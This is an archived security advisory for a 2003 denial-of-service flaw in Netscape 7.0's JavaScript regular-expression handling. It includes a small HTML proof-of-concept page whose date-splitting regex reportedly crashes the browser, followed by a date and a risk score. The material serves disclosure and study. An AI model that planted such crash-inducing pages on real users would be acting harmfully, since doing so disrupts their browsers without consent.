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Netscape 7.0 - JavaScript Regular Expression Denial of Service
source: https://www.securityfocus.com/bid/6959/info
It has been reported that Netscape based browsers may be vulnerable to a denial of service condition when executing certain JavaScript methods.
If a malicious page containing a specially crafted JavaScript regular expression method is viewed the browser reportedly becomes un-stable this may result in the critical failure of an affected browser.
This vulnerability was reported for Netscape version 7. It is not known if previous versions are also affected.
<html>
<head>
<title>test</title>
<--script-- language="JavaScript">
function reformatDate(someDate) {
var tokens = someDate.split(/(\/|-)/);
if (tokens[1].length == 1) tokens[1] = "0" + tokens[1];
if (tokens[0].length == 1) tokens[0] = "0" + tokens[0];
var result = tokens[2] + tokens[1] + tokens[0];
alert(result);
//return result;
}
</--script-->
</head>
<body>
<form action="" method="GET" name="form1" onSubmit="return reformatDate(this.dt.value);">
MM/DD/YYYY - <input type=text name=dt>
<input type=submit>
</form>
</body>
</html> Data
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25 Feb 2003 00:00Current
7.4High risk
Vulners AI Score7.4